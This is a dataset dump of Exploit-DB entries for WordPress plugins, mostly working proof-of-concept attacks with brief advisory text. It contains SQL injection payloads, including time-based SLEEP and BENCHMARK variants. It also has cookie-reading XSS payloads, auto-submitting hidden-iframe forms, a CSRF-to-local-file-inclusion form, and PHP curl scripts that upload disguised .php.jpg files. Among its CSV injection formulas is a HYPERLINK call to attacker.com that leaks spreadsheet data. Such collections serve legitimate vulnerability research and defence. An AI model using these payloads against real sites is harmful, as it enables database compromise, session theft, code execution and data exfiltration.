deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16221
Description: WordPress Plugin Comment Rating 2.9.23 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-23
Author: High-Tech Bridge SA

Exploit:
Source: http://packetstormsecurity.org/files/view/98660/commentrating-sqldisclose.txt

=================================
Vulnerability ID: HTB22842
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_comment_rating_wordpress_plugin.html
Product: Comment Rating wordpress plugin
Vendor: Bob King  ( http://wealthynetizen.com/ ) 
Vulnerable Version: 2.9.23
Vendor Notification: 08 February 2011 
Vulnerability Type: Path disclosure
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/comment-rating/comment-rating-options.php" script, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.

The following PoC is available:


http://[host]/wp-content/plugins/comment-rating/comment-rating-options.php


=================================
Vulnerability ID: HTB22841
Reference: http://www.htbridge.ch/advisory/sql_injection_in_comment_rating_wordpress_plugin.html
Product: Comment Rating wordpress plugin
Vendor: Bob King  ( http://wealthynetizen.com/ ) 
Vulnerable Version: 2.9.23
Vendor Notification: 08 February 2011 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/comment-rating/ck-processkarma.php" script to properly sanitize user-supplied input in "id" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


http://[host]/wp-content/plugins/comment-rating/ck-processkarma.php?path=1&action=1&id=1%20and%201=2%20--%20

Solution: Upgrade to the most recent version
Exploit-DB #38296
Description: WordPress Plugin CommentLuv - '_ajax_nonce' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-02-06
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/57771/info

The CommentLuv plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

CommentLuv versions 2.92.3 and prior are vulnerable.

<form action="http://www.example.com/wp-admin/admin-ajax.php" method="post" name="askform">
<input type="hidden" name="action" value="cl_ajax" />
<input type="hidden" name="do" value="fetch" />
<input type="hidden" name="url" value="1" />
<input type="hidden" name="_ajax_nonce" value='<script>alert(document.cookie);</script>'/>
<input type="submit" id="btn">
</form>
Exploit-DB #44940
Description: WordPress Plugin Comments Import & Export < 2.0.4 - CSV Injection
Type: webapps
Platform: php
Date: 2018-06-25
Author: Bhushan B. Patil

Exploit:
# Exploit Title: Wordpress Plugin Comments Import & Export < 2.0.4 - CSV Injection
# Google Dork: N/A
# Date: 2018-06-24
# Exploit Author: Bhushan B. Patil
# Software Link: https://wordpress.org/plugins/comments-import-export-woocommerce/
# Affected Version: 2.0.4 and before
# Category: Plugins and Extensions
# Tested on: WiN7_x64
# CVE: CVE-2018-11526

# 1. Application Description:
# Comments Import Export Plugin helps you to easily export and import Article and Product Comments in your store.

# 2. Technical Description:
# WordPress Comments Import & Export plugin version 2.0.4 and before are affected by the vulnerability Remote Command Execution
# using CSV Injection. This allows a public user to inject commands as a part of form fields and when a user with
# higher privilege exports the form data in CSV opens the file on their machine, the command is executed.

# 3. Proof Of Concept:
Enter the payload @SUM(1+1)*cmd|' /C calc'!A0 in the form fields and submit.
When high privileged user logs into the application to export form data in CSV and opens the file.
Formula gets executed and calculator will get popped in his machine.
Exploit-DB #17798
Description: WordPress Plugin Community Events 1.2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-08
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Community Events plugin <= 1.2.1 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/community-events.zip
# Version: 1.2.1 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/community-events/tracker.php
 id=-1 AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))--%20

e.g.:
curl --data "id=-1 AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))-- " http://www.site.com/wp-content/plugins/community-events/tracker.php

---------------
Vulnerable code
---------------
$event_id = $_POST['id'];
...
$ceeventdataquery = "select * from " . $wpdb->get_blog_prefix() . "ce_events where event_id = " . $event_id;
Exploit-DB #50344
Description: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-09-28
Author: 0xB9

Exploit:
# Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)
# Date: 3/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
# Version: 1.7.14
# Tested on: Windows 10
# CVE: CVE-2021-24276

1. Description:
The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

2. Proof of Concept:
/wp-admin/admin.php?page=contact-form-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//
Exploit-DB #44367
Description: WordPress Plugin Contact Form 7 to Database Extension 2.10.32 - CSV Injection
Type: webapps
Platform: php
Date: 2018-03-30
Author: Stefan Broeder

Exploit:
# Exploit Title : Contact Form 7 to Database Extension Wordpress Plugin CSV Injection
# Date: 23-03-2018 
# Exploit Author : Stefan Broeder
# Contact : https://twitter.com/stefanbroeder
# Vendor Homepage: None
# Software Link: https://wordpress.org/plugins/contact-form-7-to-database-extension
# Version: 2.10.32
# CVE : CVE-2018-9035
# Category : webapps

Description
===========
Contact Form 7 to Database Extension is a WordPress plugin with more than 400.000 active installations. Development is discontinued since 1 year. Version 2.10.32 (and possibly previous versions) are affected by a CSV Injection vulnerability.

Vulnerable part of code
=======================
File: contact-form-7-to-database-extension/ExportToCsvUtf8.php:135 prints value of column without checking if it contains a spreadsheet formula.

Impact
======
Arbitrary formulas can be injected into CSV/Excel files. 
This can potentially lead to remote code execution at the client (DDE) or data leakage via maliciously injected hyperlinks.

Proof of Concept
============
In order to exploit this vulnerability, the attacker needs to insert an Excel formula into any of the contact form fields available. This will end up in the log, and if a WordPress administrator chooses to export this log as Excel/CSV file, the file will contain the formula. If he then opens the file, the formula will be calculated. 

Example:

=cmd|'/C calc.exe'!Z0

or

=HYPERLINK("http://attacker.com/leak?="&A1&A2, "Click to load more data!")


Solution
========

The plugin should escape fields starting with '=' when it exports data to CSV or Excel formats.
Exploit-DB #46734
Description: WordPress Plugin Contact Form Builder 1.0.67 - Cross-Site Request Forgery / Local File Inclusion
Type: webapps
Platform: php
Date: 2019-04-22
Author: Panagiotis Vagenas

Exploit:
# Exploit Title: Contact Form Builder [CSRF → LFI]
# Date: 2019-03-17
# Exploit Author: Panagiotis Vagenas
# Vendor Homepage: http://web-dorado.com/
# Software Link: https://wordpress.org/plugins/contact-form-builder
# Version: 1.0.67
# Tested on: WordPress 5.1.1

Description
-----------

Plugin implements the following AJAX actions:

- `ContactFormMakerPreview`
- `ContactFormmakerwdcaptcha`
- `nopriv_ContactFormmakerwdcaptcha`
- `CFMShortcode`

All of them call the function `contact_form_maker_ajax`. This function
dynamicaly loads a file defined in `$_GET['action']` or
`$_POST['action']` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET['action']` and AJAX action in `$_POST['action']`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET['action']`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.

PoC
---

```html
<form method="post"
action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=/../../../../../../index">
    <label>AJAX action:
        <select name="action">
                <option
value="ContactFormMakerPreview">ContactFormMakerPreview</option>
                <option
value="ContactFormmakerwdcaptcha">ContactFormmakerwdcaptcha</option>
                <option
value="nopriv_ContactFormmakerwdcaptcha">nopriv_ContactFormmakerwdcaptcha</option>
                <option value="CFMShortcode">CFMShortcode</option>
        </select>
    </label>
    <button type="submit" value="Submit">Submit</button>
</form>
```
Exploit-DB #50734
Description: WordPress Plugin Contact Form Builder 1.6.1 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-02-10
Author: Milad karimi

Exploit:
# Exploit Title: Wordpress Plugin Contact Form Builder 1.6.1 - Cross-Site Scripting (XSS)
# Date: 2022-02-07
# Author: Milad karimi
# Software Link: https://wordpress.org/plugins/contact-forms-builder/
# Version: 1.6.1
# Tested on: Windows 11
# CVE: N/A

1. Description:
This plugin creates a Contact Form Builder from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://localhost/code_generator.php?form_id=<script>alert('xss')</script>
Exploit-DB #50703
Description: WordPress Plugin Contact Form Check Tester 1.0.2 - Broken Access Control
Type: webapps
Platform: php
Date: 2022-02-02
Author: 0xB9

Exploit:
# Exploit Title: WordPress Plugin Contact Form Check Tester 1.0.2 - Broken Access Control
# Date: 2/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/contact-fo...ck-tester/
# Version: 1.0.2
# Tested on: Windows 10
# CVE: CVE-2021-24247

1. Description:
The plugin settings are visible to all registered users in the dashboard.
A registered user can leave a payload in the plugin settings.

2. Proof of Concept:
- Register an account
- Navigate to the dashboard
- Go to CF7 Check Tester -> Settings
- Add a form
- Add a field to the form
- Put in a payload in either Field selector or Field value  "><script>alert(1)</script>
- Save
Anyone who visits the settings page will execute the payload.
Exploit-DB #44854
Description: WordPress Plugin Contact Form Maker 1.12.20 - SQL Injection
Type: webapps
Platform: php
Date: 2018-06-07
Author: defensecode

Exploit:
# Title: WordPress Contact Form Maker Plugin 1.12.20 - SQL Injection
# Date: 2018-06-07
# Author: Neven Biruski
# Software: WordPress Contact Form Maker plugin
# Software link: https://wordpress.org/plugins/contact-form-maker/
# Version: 1.12.20 and below

# The easiest way to reproduce the SQL injection vulnerabilities is to
# open the presented HTML/JavaScript snippet in your browser while being
# logged in as administrator or another user that is authorized to
# access the plugin settings page. Users that do not have full
# administrative privileges could abuse the database access the
# vulnerabilities provide to either escalate their privileges or obtain
# and modify database contents they were not supposed to be able to.


# PoC 1

<iframe style="display:none" name="invisible"></iframe>
<form id="form" method="POST" action="http://vulnerablesite.com/wp-admin/admin-ajax.php?action=FormMakerSQLMapping_fmc&task=db_table_struct"
target="invisible">
<input type="hidden" name="name" value="wp_users WHERE 42=42 AND SLEEP(42)--;"/>
</form>
<script>
 document.getElementById("form").submit();
 sleep(3000);
</script>

# PoC 2

<iframe style="display:none" name="invisible"></iframe>
<form id="form" method="POST" action="http://vulnerablesite.com/wp-admin/admin-ajax.php?form_id=1&send_header=0&action=generete_csv_fmc&limitstart=0"
target="invisible">
<input type="hidden" name="search_labels" value="(SELECT * FROM (SELECT(SLEEP(42)))XXX)"/>
</form>
<script>
 document.getElementById("form").submit();
 sleep(3000);
</script>
Exploit-DB #50524
Description: WordPress Plugin Contact Form to Email 1.3.24 - Stored Cross Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2021-11-15
Author: Mohammed Aadhil Ashfaq

Exploit:
# Exploit Title: WordPress Plugin Contact Form to Email 1.3.24 - Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 11/11/2021
# Exploit Author: Mohammed Aadhil Ashfaq
# Vendor Homepage: https://form2email.dwbooster.com/
# Version: 1.3.24
# Tested on: wordpress

POC
1. Click Contact form to Email
http://192.168.111.129/wp-admin/admin.php?page=cp_contactformtoemail
2. Create new form name with <script>alert(1)</script>
3. Click Publish
4. XSS has been triggered
http://192.168.111.129/wp-admin/admin.php?page=cp_contactformtoemail&pwizard=1&cal=4&r=0.[PII_REDACTED]
5. Open a different browser, logged in with wordpress. Copy the URL and
Press enter. XSS will trigger.
Exploit-DB #48062
Description: WordPress Plugin contact-form-7 5.1.6 - Remote File Upload
Type: webapps
Platform: php
Date: 2020-02-13
Author: Mehran Feizi

Exploit:
#  Tile: Wordpress Plugin contact-form-7 5.1.6 - Remote File Upload
#  Author: mehran feizi
#  Category: webapps
#  Date: 2020-02-11
#  vendor home page: https://wordpress.org/plugins/contact-form-7/

Vulnerable Source:
134: move_uploaded_file move_uploaded_file($file['tmp_name'], $new_file))
82: $file = $_FILES[$name] : null; 
132: $new_file = path_join($uploads_dir, $filename); 
122: $uploads_dir = wpcf7_maybe_add_random_dir($uploads_dir); 
121: $uploads_dir = wpcf7_upload_tmp_dir(); 
131: $filename = wp_unique_filename($uploads_dir, $filename); 
122: $uploads_dir = wpcf7_maybe_add_random_dir($uploads_dir); 
121: $uploads_dir = wpcf7_upload_tmp_dir(); 
128: $filename = apply_filters('wpcf7_upload_file_name', $filename, $file['name'], $tag); 
126: $filename = wpcf7_antiscript_file_name ($filename); 
125: $filename = wpcf7_canonicalize ($filename, 'as-is'); 
124: $filename = $file['name']; 
82: $file = $_FILES[$name] : null; 
82: $file = $_FILES[$name] : null; 
78: ⇓ function wpcf7_file_validation_filter($result, $tag)


Exploit:
<?php
$shahab="file.jpg";
$ch = curl_init("http://localhost/wordpress/wp-content/plugins/contact-form-7/modules/file.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('zip'=>"@$shahab"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
print "$result";
?>

Location File:
http://localhost/wordpress/wp-content/plugins/contact-form-7/file.jpg
Exploit-DB #19036
Description: WordPress Plugin Content Flow 3D 1.0.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-10
Author: g11tch

Exploit:
# Exploit Title: Wordpress content-flow3d Arbitrary File Upload 
# Google Dork: inurl:plugins/content-flow3d/
# Date: 10June2012
# Exploit Author: g11tch
# Vendor Homepage: http://wordpress.org/extend/plugins/content-flow3d/
# Software Link: downloads.wordpress.org/plugin/content-flow3d.zip
# Version: 1.0.0
# Tested on: CentOS, Ubuntu Server 11.04

Greets in no particular order
pfizer.inc   for the constant motivation
pr1me, The_Eccentric, Spridel, Hackett, DrB0n3z, 
merci Sammy Forgit pour l'expression correcte
###############################################

#!/usr/bin/php -f
<?php
#
# upload.php curl exploit
#
//
// HTTP FILES,
//

$target = $argv[1];

$postData = array();
$postData[ 'qqfile' ] = "bazinga.php.jpg";

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/upload.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData );
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);

echo $buf;
?>
Exploit-DB #42794
Description: WordPress Plugin Content Timeline - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-16
Author: Jeroen - IT Nerdbox

Exploit:
# Exploit Title: Multiple Blind SQL Injections Wordpress Plugin: Content Timeline
# Google Dork: -
# Date: September 16, 2017
# Exploit Author: Jeroen - ITNerdbox
# Vendor Homepage: http://www.shindiristudio.com/
# Software Link: https://codecanyon.net/item/content-timeline-responsive-wordpress-plugin-for-displaying-postscategories-in-a-sliding-timeline/3027163
# Version: 4.4.2
# Tested on: Linux / Nginx / Wordpress 4.8.1 / PHP 7.0.22
# CVE : CVE-2017-14507

## Proof of Concept

http(s)://www.target.tld/wp-admin/admin-ajax.php?action=ctimeline_frontend_get&timeline={inject here}

## Problem in file : content_timeline_class.php    

function ajax_frontend_get(){

        $timelineId = $_GET['timeline'];

        $id = $_GET['id'];

        global $wpdb;

        if($timelineId) {

                $timeline = $wpdb->get_results('SELECT * FROM ' . $wpdb->prefix . 'ctimelines WHERE id='.$timelineId);

                $timeline = $timeline[0];

Problem exists in the GET parameter called 'timeline' which is not sanitized and used in dynamically generating the

SQL syntax.

## Problem in file : pages/content_timeline_edit.php

    if(isset($_GET['id'])) {

        global $wpdb;

        $timeline = $wpdb->get_results('SELECT * FROM ' . $wpdb->prefix . 'ctimelines WHERE id='.$_GET['id']);

Problem exists in the GET parameter called 'id' which is not sanitized and used in dynamically generating the

SQL syntax.

## Problem in file : pages/content_timeline_index.php

            if(isset($_GET['action']) && $_GET['action'] == 'delete') {

                $wpdb->query('DELETE FROM '. $prefix . 'ctimelines WHERE id = '.$_GET['id']);

            }

Problem exists in the GET parameter called 'id' which is not sanitized and used in dynamically generating the

SQL syntax.

## History

09-16-2017        Contacted the author
09-16-2017        Requested CVE-ID
09-18-2017        CVE-ID Received
09-18-2017        Contacted the author again
09-26-2017 No reaction from author, thus releasing.
Exploit-DB #17678
Description: WordPress Plugin Contus HD FLV Player 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-17
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Contus HD FLV Player plugin <= 1.3 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/contus-hd-flv-player.1.3.zip
# Version: 1.3 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/contus-hd-flv-player/process-sortable.php?playid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&listItem[]=1

---------------
Vulnerable code
---------------
$pid1 = $_GET['playid'];

foreach ($_GET['listItem'] as $position => $item) :
    mysql_query("UPDATE $wpdb->prefix" . "hdflv_med2play SET `sorder` = $position WHERE `media_id` = $item and playlist_id=$pid1 ");
endforeach;
Exploit-DB #37373
Description: WordPress Plugin Contus Video Gallery - 'upload1.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-12
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/53931/info

WordPress Contus Video Gallery is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

WordPress Contus Video Gallery 1.3 is vulnerable; other versions may also be affected. 

<?php

$uploadfile="lo.php.jpg"; 
$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/contus-video-galleryversion-10/upload1.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('myfile'=>"@$uploadfile",
               'mode'=>'image'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>
Exploit-DB #49905
Description: WordPress Plugin Cookie Law Bar 1.2.1 - 'clb_bar_msg' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-05-25
Author: Mesut Cetin

Exploit:
# Exploit Title: WordPress Plugin Cookie Law Bar 1.2.1 - 'clb_bar_msg' Stored Cross-Site Scripting (XSS)
# Date: 2021-05-24
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.cookielawinfo.com/wordpress-plugin/
# Software Link: https://wordpress.org/plugins/cookie-law-bar/
# Version: 1.2.1
# Tested on: Ubuntu 16.04 LTS, Wordpress 5.7.2

# the "Bar Message" text field is vulnerable to stored XSS due to unsanitized user input
# an authenticated attacker can retrieve cookies / sensitive data of all Wordpress users

# proof of concept
# navigate to the settings of the Cookie Law Bar under

http://localhost/wp-admin/options-general.php?page=clb

# inject the payload: </script><script>alert(document.cookie)</script> into the "Bar Message field" and save it

# browsing through the Wordpress pages shows the cookies